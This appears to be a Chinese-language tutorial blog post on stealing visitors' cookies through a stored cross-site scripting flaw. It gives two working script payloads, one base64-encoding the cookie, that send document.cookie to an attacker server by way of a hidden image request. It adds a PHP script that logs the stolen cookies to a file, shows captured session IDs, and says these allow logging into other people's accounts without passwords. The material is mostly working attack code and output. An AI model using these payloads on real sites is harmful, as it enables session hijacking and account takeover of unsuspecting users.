通过存储型XSS获取被攻击者的cookie
-
首先,搞清楚原理,cookie在哪里?要发到那里?利用什么发?
-
在web server 端构造如下payload
payload1(不进行编码):<script>document.write('<img src="http://47.113.187.x:91/cookie.php?cookie='+document.cookie+'" width=0 height=0 border=0 />');</script> payload2(base64编码):<script>document.write('<img src="http://192.168.43.18/xssGetCookie/getcookie.php?cookie='+window.btoa(unescape(encodeURIComponent(escape(document.cookie))))+'">');</script>
-
payload提交后javascript脚本操纵DOM对象写入img标签,并且标签的url中拼接了用户的cookie值,当浏览器渲染页面时就会GET形式请求图片资源,并将cookie值携带到攻击者服务器。
-
在攻击者服务器需要提供和payload路径对应的url给请求端访问,攻击者服务器获取GET中的cookie存储到文本文件中。
<?php //攻击端,用于接收被攻击端请求的信息 $cookie = $_GET['cookie']; //获取cookie信息 $log = fopen('cookie.txt','a'); //生成获取的cookie信息,打开文件,a是追加写模式 fwrite($log,$cookie.PHP_EOL); //fwrite写入 fclose($log); ?>
-
查看文本文件,两个payload所请求的cookie。
经过编码的cookie经过base64和URL解码如下
name=ichunqiu; PHPSESSID=1iadqpfqbcrjqjfamfdmjchn2t; _ga_P1JF3QTQ79=GS1.1.1726128058.2.0.1726128058.0.0.0
-
当其他用户访问该网页
攻击者端生成如下cookie
-
编码的cookie经过base64和URL解码如下
PHPSESSID=8mf3m5s9h457dlnqfjdmdi5st8
-
利用该cookie可以通过工具实现不用账号密码登录他人账户。
原创2023年2月10日大约 4 分钟